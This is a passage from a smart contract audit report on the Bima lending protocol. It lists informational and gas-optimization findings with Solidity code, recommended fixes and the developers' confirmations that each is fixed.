+   require(pct <= MAX_PCT && pct > 0, "Invalid value");
```

Bima: Fixed in commit 065fbb8.

Cyfrin: Verified.

7.4.9 `TokenLocker::freeze` always emits `LocksFrozen` event with 0 amount

Description: `TokenLocker::freeze` has a `while` loop that decrements `locked` and only exits when `locked == 0`, then the `LocksFrozen` event is always emitted afterwards with `locked = 0`:

```
uint256 bitfield = accountData.updateWeeks[systemWeek / 256] >> (systemWeek % 256);
// @audit loop only exits when locked == 0
while (locked > 0) {
    systemWeek++;
    if (systemWeek % 256 == 0) {
        bitfield = accountData.updateWeeks[systemWeek / 256];
        accountData.updateWeeks[(systemWeek / 256) - 1] = 0;
    } else {
        bitfield = bitfield >> 1;
    }
    if (bitfield & uint256(1) == 1) {
        uint32 amount = unlocks[systemWeek];
        unlocks[systemWeek] = 0;
        totalWeeklyUnlocks[systemWeek] -= amount;
        // @audit locked decremented
        locked -= amount;
    }
}
accountData.updateWeeks[systemWeek / 256] = 0;
// @audit locked will always be 0 here
emit LocksFrozen(msg.sender, locked);
```

Recommended Mitigation: Emit the event before the `while` loop.

Bima: Fixed in commit c286563.

Cyfrin: Verified.

7.4.10 `BorrowingFeePaid` event should include token that was repaid

Description: `BorrowingFeePaid` event should include collateral token that was repaid:

```
- event BorrowingFeePaid(address indexed borrower, uint256 amount);
+ event BorrowingFeePaid(address indexed borrower, IERC20 collateralToken, uint256 amount);
```

Then emit the event with the collateral being repaid to easily track via events which collateral tokens were used in repayments.

Bima: Fixed in commit d50d59e.

Cyfrin: Verified.

7.4.11 `BabelVault::registerReceiver` should check `bool` return when calling `IEmissionReceiver::notifyRegisteredId`

Description: `BabelVault::registerReceiver` should check `bool` return when calling `IEmissionReceiver::notifyRegisteredId` since this call is intended as a sanity check to ensure the receiver contract is capable of receiving emissions:

```
-   IEmissionReceiver(receiver).notifyRegisteredId(assignedIds);
+   require(IEmissionReceiver(receiver).notifyRegisteredId(assignedIds),
+           "notifyRegisteredId must return true");
```

Bima: Fixed in commit d8b51bd.

Cyfrin: Verified.

7.4.12 Enforce 18 decimal collateral tokens in `Factory::deployNewInstance`

Description: The protocol assumes collateral tokens decimals are 18.

Proof of Concept: While calculating a `TCR` in BorrowerOperations::_getTCRData, it uses a raw collateral amount.

```
    function _getTCRData(
        SystemBalances memory balances
    ) internal pure returns (uint256 amount, uint256 totalPricedCollateral, uint256 totalDebt) {
        uint256 loopEnd = balances.collaterals.length;
        for (uint256 i; i < loopEnd; ) {
            totalPricedCollateral += (balances.collaterals[i] * balances.prices[i]);
            totalDebt += balances.debts[i];
            unchecked {
                ++i;
            }
        }
        amount = BabelMath._computeCR(totalPricedCollateral, totalDebt);

        return (amount, totalPricedCollateral, totalDebt);
    }

    function _computeCR(uint256 _coll, uint256 _debt) internal pure returns (uint256) {
        if (_debt > 0) {
            uint256 newCollRatio = (_coll) / _debt;

            return newCollRatio;
        }
        // Return the maximal value for uint256 if the Trove has a debt of 0. Represents "infinite" CR.
        else {
            // if (_debt == 0)
            return 2 ** 256 - 1;
        }
    }
```

It gets `TCR = collaterals * prices / debt` and compares with CCR which has 18 decimals.

Recommended Mitigation: This is not a problem since all collateral tokens the protocol intends to support have 18 decimals. However when enabling a new collateral in `Factory::deployNewInstance` this should only allow 18 decimal tokens.

Bima: Fixed in commit ddcad19.

Cyfrin: Verified.

7.4.13 Consolidate `10000`, `MAX_FEE_PCT` and `MAX_PCT` used in many contracts into one shared constant

Description: Many contracts throughout the protocol use literal `10000` or have `MAX_PCT` or `MAX_FEE_PCT` constants with this number; consolidate all of these into one shared constant in a new file `/dependencies/Constants.sol`:

```
// SPDX-License-Identifier: MIT
pragma solidity 0.8.19;

// represents 100% in BIMA used in denominator when
// calculating amounts based on a percentage
uint256 constant BIMA_100_PCT = 10_000;
```

Bima: Fixed in commit 9259e38.

Cyfrin: Verified.

7.4.14 Consolidate DECIMAL_PRECISION used in three contracts into one shared constant

Description: Consolidate `DECIMAL_PRECISION` used in three contracts into one shared constant:

```
core/StabilityPool.sol
21:    uint256 public constant DECIMAL_PRECISION = 1e18;

dependencies/BabelBase.sol
11:    uint256 public constant DECIMAL_PRECISION = 1e18;

dependencies/BabelMath.sol
5:    uint256 internal constant DECIMAL_PRECISION = 1e18;
```

Bima: Fixed in 6812dde.

Cyfrin: Verified.

7.4.15 Consolidate SCALE_FACTOR used in two contracts into one shared constant

Description: Consolidate `SCALE_FACTOR` used in two contracts into one shared constant:

```
contracts/core/StabilityPool.sol
30:    uint256 public constant SCALE_FACTOR = 1e9;

contracts/dao/BoostCalculator.sol
59:    uint256 internal constant SCALE_FACTOR = 1e9;
```

Bima: Fixed in commit 1916b7a.

Cyfrin: Verified.

7.4.16 Consolidate REWARD_DURATION used in four contracts into one shared constant

Description: Consolidate `REWARD_DURATION` used in four contracts into one shared constant:

```
core/StabilityPool.sol
26:    uint256 constant REWARD_DURATION = 1 weeks;
399:                rewardRate = SafeCast.toUint128(amount / REWARD_DURATION);
400:                periodFinish = uint32(block.timestamp + REWARD_DURATION);

core/TroveManager.sol
53:    uint256 constant REWARD_DURATION = 1 weeks;
907:        rewardRate = uint128(amount / REWARD_DURATION);
909:        periodFinish = uint32(block.timestamp + REWARD_DURATION);

staking/Curve/CurveDepositToken.sol
48:    uint256 constant REWARD_DURATION = 1 weeks;
249:        rewardRate[0] = SafeCast.toUint128(babelAmount / REWARD_DURATION);
250:        rewardRate[1] = SafeCast.toUint128(crvAmount / REWARD_DURATION);
253:        periodFinish = uint32(block.timestamp + REWARD_DURATION);

staking/Convex/ConvexDepositToken.sol
81:    uint256 constant REWARD_DURATION = 1 weeks;
313:        rewardRate[0] = SafeCast.toUint128(babelAmount / REWARD_DURATION);
314:        rewardRate[1] = SafeCast.toUint128(crvAmount / REWARD_DURATION);
315:        rewardRate[2] = SafeCast.toUint128(cvxAmount / REWARD_DURATION);
```

```
318:        periodFinish = uint32(block.timestamp + REWARD_DURATION);
```

Bima: Fixed in commit af23036.

Cyfrin: Verified.

7.4.17 Use `ITroveManager::Status` enum types instead of casting to `uint256`

Description: Use `ITroveManager::Status` enum types instead of casting to `uint256`:

```
core/TroveManager.sol
- 364:    function getTroveStatus(address _borrower) external view returns (uint256 status) {
+ 364:    function getTroveStatus(address _borrower) external view returns (Status status) {

core/LiquidationManager.sol
- 130:        require(troveManager.getTroveStatus(borrower) == 1, "TroveManager: Trove does not exist
↪   or is closed");
+ 130:        require(troveManager.getTroveStatus(borrower) == ITroveManager.Status.active,
                "TroveManager: Trove does not exist or is closed");

core/helpers/TroveManagerGetters.sol
- 70:           if (ITroveManager(troveManager).getTroveStatus(account) > 0) {
+ 70:           if (ITroveManager(troveManager).getTroveStatus(account) !=
↪   ITroveManager.Status.nonExistent) {

interfaces/ITroveManager.sol
- 228:    function getTroveStatus(address _borrower) external view returns (uint256);
+ 228:    function getTroveStatus(address _borrower) external view returns (Status);
```

Bima: Fixed in commit 1ab7ebf.

Cyfrin: Verified.

7.4.18 `StorkOracleWrapper` assumes all price feeds return 18 decimal prices

Description: `StorkOracleWrapper` assumes all price feeds return 18 decimal prices and hard-codes dividing by 1e10 to return values in 8 decimals.

Stork's documentation does not have publicly available information on what decimal precision their price feeds return; Bima should be careful to verify that every price feed which it uses with `StorkOracleWrapper` does indeed return a native 18 decimal value.

Bima: Acknowledged - yes all prices from Stork Oracle are in 18 decimals.

7.5 Gas Optimization

7.5.1 Don’t initialize to default values

Description: Don’t initialize to default values:

```
staking/Curve/CurveDepositToken.sol
152:  for (uint256 i = 0; i < 2; i++) {
203:  for (uint256 i = 0; i < 2; i++) {

core/StabilityPool.sol
155:  for (uint256 i = 0; i < length; i++) {
527:  for (uint256 i = 0; i < collateralGains.length; i++) {
554:  for (uint256 i = 0; i < collaterals; i++) {
729:    for (uint256 i = 0; i < length; i++) {
750:  for (uint256 i = 0; i < length; i++) {

staking/Curve/CurveProxy.sol
127:  for (uint256 i = 0; i < selectors.length; i++) {
222:  for (uint256 i = 0; i < votes.length; i++) {
286:  for (uint256 i = 0; i < balances.length; i++) {

core/TroveManager.sol
970:    for (uint256 i = 0; i < 7; i++) {

staking/Convex/ConvexDepositToken.sol
202:  for (uint256 i = 0; i < 3; i++) {
253:  for (uint256 i = 0; i < 3; i++) {

dao/InterimAdmin.sol
104:  for (uint256 i = 0; i < payload.length; i++) {
144:  for (uint256 i = 0; i < payloadLength; i++) {

core/helpers/TroveManagerGetters.sol
29:  for (uint i = 0; i < length; i++) {
43:  for (uint i = 0; i < collateralCount; i++) {
69:  for (uint i = 0; i < length; i++) {

dao/IncentiveVoting.sol
100:  for (uint256 i = 0; i < length; i++) {
444:    for (uint256 i = 0; i < length; i++) {
471:  for (uint256 i = 0; i < length; i++) {
522:  for (uint256 i = 0; i < votes.length; i++) {
544:  for (uint256 i = 0; i < lockLength; i++) {
557:  for (uint256 i = 0; i < length; i++) {
580:  for (uint256 i = 0; i < votes.length; i++) {
601:  for (uint256 i = 0; i < lockLength; i++) {
615:  for (uint256 i = 0; i < length; i++) {

dao/AdminVoting.sol
189:  for (uint256 i = 0; i < payload.length; i++) {
273:  for (uint256 i = 0; i < payloadLength; i++) {

dao/EmissionSchedule.sol
132:    for (uint256 i = 0; i < length; i++) {

dao/TokenLocker.sol
258:    for (uint256 i = 0; x != 0; i++) {
558:  for (uint256 i = 0; i < length; i++) {
623:  for (uint256 i = 0; i < length; i++) {

dao/Vault.sol
```

```
139:        for (uint256 i = 0; i < length; i++) {
147:        for (uint256 i = 0; i < length; i++) {
174:        for (uint256 i = 0; i < count; i++) {
359:        for (uint256 i = 0; i < length; i++) {

core/StabilityPool.sol
523:         hasGains = false;

core/helpers/MultiTroveGetter.sol
35:             descend = false;
```

Bima: Fixed in commit 3639347.

Cyfrin: Verified.

7.5.2 Remove redundant `token` parameter from `DebtToken::maxFlashLoan`, `flashFee`, `flashLoan`

Description: Remove redundant `token` parameter from `DebtToken::maxFlashLoan`, `flashFee`, `flashLoan` - this parameter is useless since `DebtToken` only provides flash loans using its own tokens.

Bima: Fixed in commit bab12ba.

Cyfrin: Verified.

7.5.3 Cache storage variables when same values read multiple times

Description: Cache storage variables when same values read multiple times:

File: `dao/AirdropDistributor.sol`

```
// function `setMerkleRoot`
// should cache `block.timestamp + CLAIM_DURATION` into memory,
// write that to `canClaimUntil` storage then read cached copy when
// emitting event
55:        canClaimUntil = block.timestamp + CLAIM_DURATION;
56:        emit MerkleRootSet(_merkleRoot, canClaimUntil);

// function `claim`
// cache `merkleRoot` saving 1 storage read
98:        require(merkleRoot != bytes32(0), "merkleRoot not set");
103:        require(MerkleProof.verifyCalldata(merkleProof, merkleRoot, node), "Invalid proof");
```

File: `dao/AllocationVesting.sol`

```
// function `_vestedAt`
// cache `vestingStart` saving 2 storage reads
230:        if (vestingStart == 0 || numberOfWeeks == 0) return 0;
232:        uint256 vestingEnd = vestingStart + vestingWeeks;
234:        uint256 timeSinceStart = endTime - vestingStart;
```

File: `dao/Vault.sol`

```
// function setInitialParameters
// cache unallocated calculation then use it to set unallocatedTotal
// and emit the event, saving 1 storage read
156:        unallocatedTotal = uint128(totalSupply - totalAllocated);
162:        emit UnallocatedSupplyReduced(totalAllocated, unallocatedTotal);
```

File: `core/StabilityPool.sol`

```
// function startCollateralSunset
// cache indexByCollateral[collateral] to save 1 storage read
        require(indexByCollateral[collateral] > 0, "Collateral already sunsetting");
            uint128(indexByCollateral[collateral] - 1),
```

Bima: Fixed in commits 6be47c8, 2166534, 2ecc532

Cyfrin: Verified.

7.5.4 Prefer assignment to named return variables and remove explicit return statements

Description: Prefer assignment to named return variables and remove explicit return statements.

Bima: Fixed in commit 82ef243, 2166534, 3207c59, ab8df52, 1b12aa5, 456df42, 1d469e1, 4d70707, f7e6487, a150695, 91a7df5, 80976c4, 709839c.

Cyfrin: Verified.

7.5.5 Refactor `AdminVoting::minCreateProposalWeight` to eliminate unnecessary variables and multiple calls to `getWeek`

Description: Refactor `AdminVoting::minCreateProposalWeight` to eliminate unnecessary variables and multiple calls to `getWeek`:

```
function minCreateProposalWeight() public view returns (uint256 weight) {
    // store getWeek() directly into output `weight` return
    weight = getWeek();

    // if week == 0 nothing else to do since weight also 0
    if(weight != 0) {
        // otherwise over-write output with weight calculation subtracting
        // 1 from the week
        weight = _minCreateProposalWeight(weight-1);
    }
}

// create a new private function called by the public variant and also by `createNewProposal`
function _minCreateProposalWeight(uint256 week) internal view returns (uint256 weight) {
    // store total weight directly into output `weight` return
    weight = tokenLocker.getTotalWeightAt(week);

    // prevent proposal creation if zero total weight for given week
    require(weight > 0, "Zero total voting weight for given week");

    // over-write output return with weight calculation
    weight = (weight * minCreateProposalPct / MAX_PCT);
}

// then change `createNewProposal` to call the new private function passing in the week input
require(accountWeight >= _minCreateProposalWeight(week), "Not enough weight to propose");
```

Bima: Fixed in commit 51200dc.

Cyfrin: Verified.

7.5.6 Remove duplicate calculation in `TokenLocker::withdrawWithPenalty`

Description: Remove duplicate calculation in `TokenLocker::withdrawWithPenalty`:

```
- accountData.locked -= uint32((amountToWithdraw + penaltyTotal - unlocked) / lockToTokenRatio);
- totalDecayRate -= uint32((amountToWithdraw + penaltyTotal - unlocked) / lockToTokenRatio);
+ // calculate & cache total amount of locked tokens withdraw inc penalties,
+ // scaled down by lockToTokenRatio
+ uint32 lockedPlusPenalties = SafeCast.toUint32((amountToWithdraw + penaltyTotal - unlocked) /
↪  lockToTokenRatio);

+ // update account locked and global totalDecayRate subtracting
+ // locked tokens withdrawn including penalties paid
+ accountData.locked -= lockedPlusPenalties;
+ totalDecayRate -= lockedPlusPenalties;
```

To get around "stack too deep" remove this line:

```
- uint32[65535] storage unlocks = accountWeeklyUnlocks[msg.sender];
```

And simply reference the storage location directly where it is needed, eg:

```
- uint256 lockAmount = unlocks[systemWeek] * lockToTokenRatio;
+ uint256 lockAmount = accountWeeklyUnlocks[msg.sender][systemWeek] * lockToTokenRatio;
```

Bima: Fixed in commit b8d648a.

Cyfrin: Verified.

7.5.7 Re-order `TokenLocker::penaltyWithdrawalsEnabled` to save 1 storage slot

Description: `TokenLocker::penaltyWithdrawalsEnabled` can be put after `totalUpdatedWeek` such that `totalDecayRate`, `totalUpdatedWeek` and `penaltyWithdrawalsEnabled` can be packed into the same storage slot:

```
// Rate at which the total lock weight decreases each week. The total decay rate may not
// be equal to the total number of locked tokens, as it does not include frozen accounts.
uint32 public totalDecayRate;
// Current week within `totalWeeklyWeights` and `totalWeeklyUnlocks`. When up-to-date
// this value is always equal to `getWeek()`
uint16 public totalUpdatedWeek;

bool public penaltyWithdrawalsEnabled;
uint256 public allowPenaltyWithdrawAfter;
```

Bima: Fixed in commit 08d825a.

Cyfrin: Verified.

7.5.8 More efficient and simpler implementation of `BabelVault::setReceiverIsActive`

Description: `BabelVault::setReceiverIsActive` doesn't need to cache `idToReceiver[id]` into memory since it only reads the `account` field so there is no reason to read every field from storage.

Also it only updates the `isActive` field so there is no reason to update all the fields by writing the memory copy back to storage. A more efficient and simpler implementation is:

```
function setReceiverIsActive(uint256 id, bool isActive) external onlyOwner returns (bool success) {
    // revert if receiver id not associated with an address
    require(idToReceiver[id].account != address(0), "ID not set");

    // update storage - isActive status, address remains the same
    idToReceiver[id].isActive = isActive;

    emit ReceiverIsActiveStatusModified(id, isActive);

    success = true;
}
```

Bima: Fixed in commit 1b12aa5.

Cyfrin: Verified.

7.5.9 Remove `BabelVault::receiverUpdatedWeek` and add `updatedWeek` member to struct `Receiver`

Description: The mapping `idToReceiver` already links the receiver id to the receiver's data:

```
mapping(uint256 receiverId => Receiver receiverData) public idToReceiver;
```

Hence it is simpler & cleaner to remove `BabelVault::receiverUpdatedWeek` and add an `updatedWeek` member to struct `Receiver`:

```
-   // id -> receiver data
-   uint16[65535] public receiverUpdatedWeek;

    struct Receiver {
        address account;
        bool isActive;
+       uint16 updatedWeek;
    }
```

Bima: Fixed in commit d93c2ba.

Cyfrin: Verified.

7.5.10 Don't cache `calldata` array length

Description: When looping through an array passed as `calldata`, it is more efficient to not cache the array length.

Bima: Fixed in commits 4b3ae20, a2232a2, d9998da

Cyfrin: Verified.

7.5.11 Use `calldata` instead of `memory` for inputs to `external` functions

Description: Use `calldata` instead of `memory` for inputs to `external` functions.

Bima: Fixed in commits 7cd87aa, 22119e1, 2ecc532

Cyfrin: Verified.

7.5.12 Save 2 storage reads in `StabilityPool::enableCollateral`

Description: Save 2 storage reads in `StabilityPool::enableCollateral` by:

1) Reading from `queueCached.firstSunsetIndexKey` then writing after:

```
- delete _sunsetIndexes[queue.firstSunsetIndexKey++];
+ delete _sunsetIndexes[queueCached.firstSunsetIndexKey];
+ ++queue.firstSunsetIndexKey;
```

2) Using `length + 1` instead of `collateralTokens.length`:

```
  collateralTokens.push(_collateral);
- indexByCollateral[_collateral] = collateralTokens.length;
+ indexByCollateral[_collateral] = length + 1;
```

Bima: Fixed in commit 7eef5f9.

Cyfrin: Verified.

7.5.13 Save two storage slots by better storage packing in `TroveManager`

Description: Save two storage slots by better storage packing in `TroveManager` - relocate these 3 declarations under `periodFinish`:

```
uint256 public rewardIntegral;
uint128 public rewardRate;
uint32 public lastUpdate;
uint32 public periodFinish;

// here for storage packing
bool public sunsetting;
bool public paused;
EmissionId public emissionId;
```

Ideally `TroveManager` storage would also be refactored to group all declarations together in common sections.

Bima: Fixed in commit 305c007.

Cyfrin: Verified.

7.5.14 Optimize away `currentActiveDebt` and `activeInterests` variables from `TroveManager::getEntireSystemDebt`

Description: `TroveManager::getEntireSystemDebt` can optimize away the `currentActiveDebt` and `activeInterests` variable by reading `totalActiveDebt` straight into the named output variable then using that, eg:

```
function getEntireSystemDebt() public view returns (uint256 debt) {
    debt = totalActiveDebt;

    (, uint256 interestFactor) = _calculateInterestIndex();

    if (interestFactor > 0) {
        debt += Math.mulDiv(debt, interestFactor, INTEREST_PRECISION);
    }

    debt += defaultedDebt;
}
```

The same optimization can be applied to `TroveManager::getTotalActiveDebt`.

Bima: Fixed in commits e7b13a6 and 2ebd7d8.

Cyfrin: Verified.

7.5.15 Delete `TroveManager::_removeStake` and perform this as part of `_closeTrove` since they always occur together

Description: `TroveManager::_removeStake` is only ever called immediately before `_closeTrove` so the function can be deleted and its functionality implemented more efficiently inside `_closeTrove` like this:

```
function _closeTrove(address _borrower, Status closedStatus) internal {
    uint256 TroveOwnersArrayLength = TroveOwners.length;

    // update storage - borrower Trove state
    Trove storage t = Troves[_borrower];
    t.status = closedStatus;
    t.coll = 0;
    t.debt = 0;
    t.activeInterestIndex = 0;
    // _removeStake functionality
    totalStakes -= t.stake;
    t.stake = 0;
    // ...
```

This also ensures that a coding mistake couldn't be made in the future where `_closeTrove` would be called while forgetting to first call `_removeStake`.

Bima: Fixed in commit 6c832fc.

Cyfrin: Verified.